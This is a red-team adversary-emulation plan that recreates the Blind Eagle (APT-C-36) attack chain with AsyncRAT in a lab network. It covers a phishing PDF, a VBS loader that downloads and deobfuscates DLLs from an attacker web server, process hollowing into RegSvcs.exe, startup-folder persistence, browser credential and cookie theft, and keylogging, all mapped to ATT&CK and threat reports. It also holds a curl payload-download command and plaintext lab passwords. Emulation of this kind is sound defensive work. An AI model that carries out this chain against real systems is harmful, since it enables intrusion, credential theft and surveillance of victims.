# Scenario Overview

Legend of symbols:

💡 - callout notes
❗ - extremely important note
➡️ - Switching to another session
⭕ - Sign out of something

This scenario emulates Blind Eagle TTPs based on several malware specimens either used by or associated with the Blind Eagle actors:

AsyncRAT

# Step 0 - Setup

# 📜 Overview

This emulation leverages AsyncRAT as a C2 server, and an attacker controlled web server to host and deliver two loaders, an injector, and the final AsyncRAT payload. AsyncRAT server is a Windows .NET GUI based program and will run on an attacker controlled Windows Machine. A second Ubuntu machine will be used as attacker infrastructure - we use Python to host a simple web server with a directory structure that aligns with CTI and hosts payloads.

❗ This emulation plan assumes the infratructure found in setup has been completed. If this has not been done then IP addresses and URLs may change.

💡 During the emulation the Exchange server mail.bancomurcielago.com was configured as an open relay and an email from notificacion@dian-info.com was sent with the PDF Notificacion De Pago attached from the attacker web machine using the Linux sendemail program. A corresponding DNS entry for dian-info.com was created on the Active Directory Domain Controller canario was also created so that the link contained in the PDF would resolve properly.

❗ If you do not wish to perform these steps downloading the payload factura-228447578537.pdf.uue from Attacker Web 192.168.0.5 to Desk1 10.1.0.5 will also suffice - you can perform the following PowerShell command from a PowerShell prompt on Desk1 during preflights:

curl http://192.168.0.5/factura-228447578537.pdf.uue -o ~\Downloads\factura-228447578537.pdf.uue

# ☣️ Procedures

💡 RDP, do not SSH, to the Windows Attack Platform 192.168.0.4 hosting the C2 server.
Open a new terminal window and navigate to where you previously cloned the repo in setup. Start the AsyncRAT server:

cd birdsofprey\Resources\Binaries\Binaries

Start the AsyncRAT Server:

.\AsyncRAT.exe

➡️ Open a second PowerShell window on your Windows Attack Platform and SSH to the Web Server 192.168.0.5 to ensure the following four malicious files are in the web, Rump, and dll directories for your user:

💡 These files are all part of the Blind Eagle phishing and attack chain and will be served from attacker infrastructure.

factura-228447578537.pdf.uue in web
new_rump_vb.net.txt in web/dll
Rump.xls in web/Rump
asy.txt in web

Check the file exists:

ls web

ls web/dll

ls web/Rump

💡 If the armed and zipped file is not there, follow the instructions for creating it then copy the zip file to ~/web.

Start the Python Web Server in a TMUX session (this ensures if your SSH connection drops the web server will still run):

cd ~/web

tmux

sudo python3 -m http.server 80

# Step 1 - Initial Compromise and Persistence

# 📜 Overview

Step 1 emulates Blind Eagle gaining initial access from the target user downloading, extracting, and executing a Visual Basic script received from a link residing in an attachment to a spearphishing email. The email is sourced from the email address notificacion@dian-info.com the following actions take place when the VB script is executed:

The script uses PowerShell to download new_rump_vb.net.txt (fiber.dll) from 192.168.0.5/dll.
The script then loads fiber.dll into the current Application Domain.
Once loaded the VAI method is called passing in an obfuscated URL pointing to the AsyncRAT payload (asy.txt).
fiber.dll creates an artifact in C:\Windows\Temp called OneDrive.vbs which is a copy of the VB loader.
fiber.dll uses the WebClient.DownloadString method to download Rump.xls (fsociety.dll).
fiber.dll uses Strings.StrReverse and Replace to unmangle Rump.xls.
fiber.dll uses Strings.StrReverse and Replace to unmangle the URL pointing to asy.txt (AsyncRAT payload).
fiber.dll uses webClient.DownloadString and StrReverse to download and unmabgle asy.txt.
fiber.dll uses AppDomain.CurrentDomain.Load and Convert.FromBase64String to load Rump.xls (fsociety.dll) into the current Application Domain and executes the Ande method of the fsociety.Tools Class passing in two arguments: The path to RegSvcs.exe and the contents of asy.txt with Base64 encoding removed.
fsociety.dll performs process hollowing to inject AsyncRAT into RegSvcs.exe
fiber.dll calls the startup method of the fiber.Optical class. This leverages the Windows Script Host to establish persistence by creating an lnk file in the Users startup folder pointing to the previously dropped OneDrive.vbs in C:\Windows\Temp

# ☣️ Procedures

➡️ RDP into Desk1 (10.1.0.5):

Username	Password
bancomurcielago\demo_admin	Phrasing!

Open Edge and browse to https://mail.bancomurcielago.com/owa, login as demo_admin:

Username	Password
bancomurcielago\demo_admin	Phrasing!

💡 There should be an unread email from notificacion@dian-info.com.

Open this email and download the PDF attachment.
Open the PDF and click the link to download factura-228447578537.pdf.uue
Open File Explorer and navigate to the Downloads file directory.
Right click factura-228447578537.pdf.uue and use winRAR to unzip - when prompted enter the password found in the PDF email attachment
Double click the extracted factura-228447578537.pdf.vbs to execute the first stage and kick off the infection chain.

❗ Wait 30 seconds.

Return to your RDP session on Windows Attack Platform to ensure AsyncRAT called back
🔍 The C2 server should register a new AsyncRAT callback after the script is executed.

# 🔮 Reference Code & Reporting

Click to expand table

Red Team Activity	Source Code Link	ATT&CK Technique	Relevent CTI Report
User executes `factura-228447578537.pdf.vbs`	vb_loader	T1024.002 User Execution Malicious File	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
VBS Loader Masquerades as a PDF file	VB Loader README and Instructions	T1036.007 Masquerading: Masquerade File Type	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
Loader downloads and executes `fiber.dll`	eagle_loader.vbs#L324-L348	T1059.00[1,5] Command and Scripting Interpreter [Powershell, Visual Basic] T1105 Ingress Tool Transfer	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
Fiber copies VBS loader for persistence	fiber.cs#L38-L49	T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
Fiber downloads and unmangles Rump.xls (fsociety)	fiber.cs#L52-L58	T1105 Ingress Tool Transfer T1132.001 Data Encoding: Standard Encoding T1140 Deobfuscate/Decode Files or Information	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
Fiber prepares URL and download AsyncRAT	fiber.cs#L60-73	T1105 Ingress Tool Transfer T1132.001 Data Encoding: Standard Encoding T1150 Deobfuscate/Decode Files or Information T1102 Web Service	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
Fiber Base64 Decodes and executes `fsociety` injector with `AsyncRAT` payload	fiber.cs#L75-82	T1132.001 Data Encoding: Standard Encoding T1150 Deobfuscate/Decode Files or Information T1055.012 Process Hollowing T1218.009 System Binary Proxy Execution:Regsvcs/Regasm	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://dciber.org/analisando-asyncrat-distribuido-na-colombia/
Fsociety `Ande` function for process hollowing	fsociety.cs#L68-L77	T1055.012 Process Hollowing T1218.009 System Binary Proxy Execution:Regsvcs/Regasm	https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
Fiber establishes persistence via `lnk` file in users `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` folder	fiber.cs#L85	T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://dciber.org/analisando-asyncrat-distribuido-na-colombia/

# Step 2 - Credential Theft

# 📜 Overview

Step 2 emulates Blind Eagle performing browser credential theft leveraging the AsyncRAT Recovery plugin.

Blind Eagle is known to monitor the current loaded window and look for strings such as banking websites and other financial institution websites. The user has a session to a Bank website open so Blind Eagle attempts to steal both saved passwords and cookies from the browser.

# ☣️ Procedures

➡️ On Windows Attack Platform 192.168.0.4 bring the AsyncRAT server window into focus.

In the AsyncRAT Server window issue the following command to the AsyncRAT Client.

Right Click AsyncRAT Client -> Monitoring -> Password Recovery

Once the recovery process completes review the results on the AsyncRAT server and look for credentials in the resulting txt file.

Right click AsyncRAT client -> Client Management -> Client -> Show Folder

This will open a File Explorer window with files named Cookies_<date> and Password_<date>. Open the Passwords file to verify credential collection

# 🔮 Reference Code & Reporting

Click to expand table

Red Team Activity	Source Code Link	ATT&CK Technique	Relevent CTI Report
AsyncRAT Chromium browser account recovery Plugin	Chromium.cs#L151-L360	T1555.003 Credentials from Password Stores: Credentials from Web Browsers	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
AsyncRAT Chromium browser cookie recovery	ChromiumCookies.cs#L43-L194	T1539 Steal Web Session Cookie	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
AsyncRAT FireFox browser password reader	FireFoxPassReader.cs#L12-L110	T1555.003 Credentials from Password Stores: Credentials from Web Browsers T1555.004 Credentials from Password Stores: Windows Credential Manager	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
AsyncRAT FireFox browser password reader	FireFoxPassReader.cs#L12-L110	T1555.003 Credentials from Password Stores: Credentials from Web Browsers T1555.004 Credentials from Password Stores: Windows Credential Manager	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
AsyncRAT FireFox browser password decryptor	FFDecryptor.cs#L8-L95	T1555.003 Credentials from Password Stores: Credentials from Web Browsers T1555.004 Credentials from Password Stores: Windows Credential Manager	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/
AsyncRAT FireFox cookie grabber	FFCookiesGrabber.cs#L29-L122	T1539 Steal Web Session Cookie	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/

# Step 3 - Keylogging

# 📜 Overview

Step 3 emulates Blind Eagle using the keylogging plugin for AsyncRAT to capture credentials from the victim machine.

# ☣️ Procedures

➡️ On Windows Attack Platform issue the following commands to deploy the keylogger to the victim workstation:

In the AsyncRAT Server window Right click client -> Monitoring -> Keylogger

A second window will open on the AsyncRAT server indicating that keylogging is running.

➡️ RDP from your workstation not the Attack Platform as demo_admin to Desk1 (this is so it does not appear that the attacker RDP'ed to the victim). On Desk1 (10.1.0.5) open an Edge browser window and navigate to web.bancomurcielago.com:8000/admin/login. Enter the username administrador-murcielagos and password N@N@N@N@Murci31@g0 to log in to the Django server.

➡️ Switch to the Windows Attack Machine, you should see the administrator username and password show up in the keylogging window indicating a successful capture of credentials.

Verify that the credentials were successfully captured by opening up a browser window and navigating to http://10.1.0.4:8000/admin/login and authenticating with the captured credentials.

# 🔮 Reference Code & Reporting

Click to expand table

Red Team Activity	Source Code Link	ATT&CK Technique	Relevent CTI Report
AsyncRAT LimeLogger Plugin	packet.cs#L111-L143	T1056 Input Capture: Keylogging	https://dciber.org/analisando-asyncrat-distribuido-na-colombia/ https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/